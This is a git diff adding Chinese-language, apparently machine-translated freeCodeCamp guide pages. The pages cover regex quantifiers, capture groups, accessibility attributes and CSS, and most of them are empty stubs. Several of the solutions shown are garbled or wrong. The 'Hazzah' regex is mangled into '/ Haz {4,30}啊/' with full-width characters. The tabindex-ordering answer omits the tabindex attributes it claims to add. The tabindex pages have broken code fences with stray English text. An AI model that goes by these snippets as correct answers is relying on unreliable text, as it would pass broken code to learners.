diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
new file mode 100644
index 0000000000..c9563121a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md
@@ -0,0 +1,9 @@
+---
+title: Specify Exact Number of Matches
+localeTitle: 指定完全匹配数
+---
+## 指定完全匹配数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-exact-number-of-matches/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..c9867966f4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md
@@ -0,0 +1,13 @@
+---
+title: Specify Only the Lower Number of Matches
+localeTitle: 仅指定较低的匹配数
+---
+问题 只有当它有四个或更多字母z时才更改正则表达式haRegex以匹配单词“Hazzah”。
+
+解 让haStr =“Hazzzzah”; 让haRegex = / Haz {4,30}啊/; //改变这一行 let result = haRegex.test（haStr）;
+
+## 仅指定较低的匹配数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-only-the-lower-number-of-matches/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
new file mode 100644
index 0000000000..552673f8d2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/specify-upper-and-lower-number-of-matches/index.md
@@ -0,0 +1,33 @@
+---
+title: Specify Upper and Lower Number of Matches
+localeTitle: 指定上下匹配数
+---
+## 指定上下匹配数
+
+记住`/a{2,4}/`返回`true` ，只要有间两到四个A的一起。对于任何超过四个a的字符串，它将返回`true` 。
+
+所有这些字符串都将返回`true` ：
+
+```javascript
+let threeAs = "aaa"; 
+ let fourAs = "aaaa"; 
+ let sevenAs = "aaaaaaa"; 
+ 
+ let myRegex = /a{2,4}/; 
+ myRegex.test(threeAs) ; // true 
+ myRegex.test(fourAs) ; // true 
+ myRegex.test(sevenAs) ; // true 
+```
+
+## Spolier Alert！
+
+请记住在`Oh{3,6}`之后使用`\s`来包含空格，然后使用`no`来通过所有测试用例。所有测试用例都是使用大写字母O编写的，但是也可以使用`ignore-case`传递测试用例： `/oh{3,6}\sno/i`
+
+## 解：
+
+```javascript
+let ohStr = "Ohhh no"; 
+ let ohRegex = /Oh{3,6}\sno/; // Change this line 
+ let result = ohRegex.test(ohStr); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
new file mode 100644
index 0000000000..866d14aa3a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/use-capture-groups-to-search-and-replace/index.md
@@ -0,0 +1,23 @@
+---
+title: Use Capture Groups to Search and Replace
+localeTitle: 使用捕获组进行搜索和替换
+---
+## 使用捕获组进行搜索和替换
+
+使用带有第一个参数集的`.replace()`来查找要替换的原始字符串的一部分，第二个参数应该是替换。
+
+## 提示1：
+
+修改正则表达式，以便`fixRegex`检测要替换的字符串部分，并将变量`replaceText`修改为将替换`fixRegex`的字符串。
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+let huhText = "This sandwich is good."; 
+ let fixRegex = /good/; // Change this line 
+ let replaceText = "okey-dokey"; // Change this line 
+ let result = huhText.replace(fixRegex, replaceText); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
new file mode 100644
index 0000000000..8042dad7fe
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/regular-expressions/using-the-test-method/index.md
@@ -0,0 +1,22 @@
+---
+title: Using the Test Method
+localeTitle: 使用测试方法
+---
+## 使用测试方法
+
+在这个挑战，你检查是否字符串包含一定的“正则表达式”，或**正则表达式** **（REG** ular **前** pressions）。您将使用`test()`方法来执行此操作。
+
+## 提示1：
+
+在`myRegex`上调用测试方法。您认为这个论点是什么？
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+let myString = "Hello, World!"; 
+ let myRegex = /Hello/; 
+ let result = myRegex.test(myString); // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
new file mode 100644
index 0000000000..0c3245a73c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Text Alternative to Images for Visually Impaired Accessibility
+localeTitle: 为视力受损的辅助功能添加图像替代文字
+---
+## 为视力受损的辅助功能添加图像替代文字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-a-text-alternative-to-images-for-visually-impaired-accessibility/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
new file mode 100644
index 0000000000..784f093592
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md
@@ -0,0 +1,9 @@
+---
+title: Add an Accessible Date Picker
+localeTitle: 添加无障碍日期选择器
+---
+## 添加无障碍日期选择器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/add-an-accessible-date-picker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
new file mode 100644
index 0000000000..4653f1efaa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-carefully-choosing-colors-that-convey-information/index.md
@@ -0,0 +1,17 @@
+---
+title: Avoid Colorblindness Issues by Carefully Choosing Colors that Convey Information
+localeTitle: 通过仔细选择传达信息的颜色来避免色盲问题
+---
+## 通过仔细选择传达信息的颜色来避免色盲问题
+
+按照说明：
+
+将文字颜色更改为深蓝色（＃003366）
+
+第4行变为：
+
+```css
+color: #003366; 
+```
+
+并且文本的颜色会变暗。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
new file mode 100644
index 0000000000..2374349b89
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/avoid-colorblindness-issues-by-using-sufficient-contrast/index.md
@@ -0,0 +1,18 @@
+---
+title: Avoid Colorblindness Issues by Using Sufficient Contrast
+localeTitle: 使用足够的对比度避免色盲问题
+---
+## 使用足够的对比度避免色盲问题
+
+按照说明：
+
+将背景颜色亮度值从35％增加到55％，并将颜色亮度值从20％降低到15％。
+
+第4和第5行成为：
+
+```css
+    color: hsl(0, 55%, 15%); 
+    background-color: hsl(120, 25%, 55%); 
+```
+
+这将对比度提高到5.9：1。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
new file mode 100644
index 0000000000..5c77c336fd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Links Meaning by Using Descriptive Link Text
+localeTitle: 通过使用描述性链接文本给出链接含义
+---
+## 通过使用描述性链接文本给出链接含义
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/give-links-meaning-by-using-descriptive-link-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
new file mode 100644
index 0000000000..52afcd0d69
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Accessibility of Audio Content with the audio Element
+localeTitle: 使用音频元素改善音频内容的可访问性
+---
+## 使用音频元素改善音频内容的可访问性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-accessibility-of-audio-content-with-the-audio-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
new file mode 100644
index 0000000000..1095e2f98f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Chart Accessibility with the figure Element
+localeTitle: 使用图元素改进图表可访问性
+---
+## 使用图元素改进图表可访问性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-chart-accessibility-with-the-figure-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
new file mode 100644
index 0000000000..5fabebab1a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Form Field Accessibility with the label Element
+localeTitle: 使用标签元素改进表单字段可访问性
+---
+## 使用标签元素改进表单字段可访问性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-form-field-accessibility-with-the-label-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
new file mode 100644
index 0000000000..6b97fb3d0b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Improve Readability with High Contrast Text
+localeTitle: 使用高对比度文本提高可读性
+---
+## 使用高对比度文本提高可读性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/improve-readability-with-high-contrast-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/index.md
new file mode 100644
index 0000000000..66def04e7b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Accessibility
+localeTitle: 应用可访问性
+---
+## 应用可访问性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
new file mode 100644
index 0000000000..dc9026900e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Jump Straight to the Content Using the main Element
+localeTitle: 使用主元素直接跳转到内容
+---
+## 使用主元素直接跳转到内容
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/jump-straight-to-the-content-using-the-main-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
new file mode 100644
index 0000000000..befd1d4fd7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md
@@ -0,0 +1,9 @@
+---
+title: Know When Alt Text Should be Left Blank
+localeTitle: 知道Alt文本应该留空
+---
+## 知道Alt文本应该留空
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/know-when-alt-text-should-be-left-blank/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
new file mode 100644
index 0000000000..20bd766226
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Elements Only Visible to a Screen Reader by Using Custom CSS
+localeTitle: 使用自定义CSS使元素仅对屏幕阅读器可见
+---
+## 使用自定义CSS使元素仅对屏幕阅读器可见
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
new file mode 100644
index 0000000000..a075fcf224
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
@@ -0,0 +1,17 @@
+---
+title: Make Links Navigatable with HTML Access Keys
+localeTitle: 使链接可以使用HTML访问密钥进行导航
+---
+## 使链接可以使用HTML访问密钥进行导航
+
+按照说明： 为两个链接添加一个accesskey属性，并将第一个设置为“g”（对于加菲猫），将第二个设置为“c”（对于Chuck Norris）。 第8和第16行成为：
+
+```css
+<h2><a id="first" accesskey="g" href="">The Garfield Files: Lasagna as Training Fuel?</a></h2> 
+```
+
+```css
+<h2><a id="second" accesskey="c" href="">Is Chuck Norris a Cat Person?</a></h2> 
+```
+
+通过这种方式，两个博客文章标题周围的链接具有键盘快捷键，因此他的网站用户可以快速导航到完整的故事。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
new file mode 100644
index 0000000000..4319b6b851
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the footer Landmark
+localeTitle: 使用页脚Landmark使屏幕阅读器导航更轻松
+---
+## 使用页脚Landmark使屏幕阅读器导航更轻松
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
new file mode 100644
index 0000000000..324f3ee417
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the header Landmark
+localeTitle: 使用标题Landmark使屏幕阅读器导航更轻松
+---
+## 使用标题Landmark使屏幕阅读器导航更轻松
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
new file mode 100644
index 0000000000..f9177bbf7e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the nav Landmark
+localeTitle: 使用导航Landmark使屏幕阅读器导航更轻松
+---
+## 使用导航Landmark使屏幕阅读器导航更轻松
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
new file mode 100644
index 0000000000..bee2795e85
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
@@ -0,0 +1,9 @@
+---
+title: Standardize Times with the HTML5 datetime Attribute
+localeTitle: 使用HTML5 datetime属性标准化Times
+---
+## 使用HTML5 datetime属性标准化Times
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
new file mode 100644
index 0000000000..d87a667a4a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Headings to Show Hierarchical Relationships of Content
+localeTitle: 使用标题显示内容的层次关系
+---
+## 使用标题显示内容的层次关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
new file mode 100644
index 0000000000..4f6e7448b1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Add Keyboard Focus to an Element
+localeTitle: 使用tabindex将键盘焦点添加到元素
+---
+## 使用tabindex将键盘焦点添加到元素
+
+按照说明：
+
+将tabindex属性添加到p标记并将其值设置为“0”。
+
+第16行 \`\`\`CSS
+
+说明：填写所有信息，然后单击“ **提交”**
+```
+becomes: 
+ ```css 
+    <p tabindex="0">Instructions: Fill in ALL your information then click <b>Submit</b></p> 
+```
+
+这样，当用户在页面中进行选项卡时，它将接收键盘焦点。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
new file mode 100644
index 0000000000..c56be36355
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Specify the Order of Keyboard Focus for Several Elements
+localeTitle: 使用tabindex指定多个元素的键盘焦点顺序
+---
+## 使用tabindex指定多个元素的键盘焦点顺序
+
+按照说明：
+
+将tabindex属性设置为“1”到搜索输入，tabindex属性设置为“2”到提交输入。
+
+第16和17行 \`\`\`CSS  
+```
+become: 
+ 
+ ```css 
+    <input type="search" name="search" id="search"> 
+    <input type="submit" name="submit" value="Submit" id="submit"> 
+```
+
+通过这种方式，搜索输入和提交输入表单控制为选项卡顺序中的前两项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
new file mode 100644
index 0000000000..6390acc097
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Content in the article Element
+localeTitle: 在文章元素中包装内容
+---
+## 在文章元素中包装内容
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
new file mode 100644
index 0000000000..8b951179e1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Radio Buttons in a fieldset Element for Better Accessibility
+localeTitle: 在字段集元素中包裹单选按钮以获得更好的可访问性
+---
+## 在字段集元素中包裹单选按钮以获得更好的可访问性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
new file mode 100644
index 0000000000..245ff04e22
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Add a box-shadow to a Card-like Element
+localeTitle: 将盒子阴影添加到类似卡片的元素
+---
+## 将盒子阴影添加到类似卡片的元素
+
+box-shadow属性将一个或多个阴影附加到元素。
+
+h-offset：必需。阴影的水平偏移。正值将阴影置于框的右侧，负值将阴影置于框的左侧。
+
+v-offset：必需。阴影的垂直偏移。正值将阴影置于框下方，负值将阴影置于框上方。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
new file mode 100644
index 0000000000..f1437a5950
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the background-color Property of Text
+localeTitle: 调整文本的背景颜色属性
+---
+## 调整文本的背景颜色属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
new file mode 100644
index 0000000000..aa06409e99
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Color of Various Elements to Complementary Colors
+localeTitle: 将各种元素的颜色调整为互补色
+---
+## 将各种元素的颜色调整为互补色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
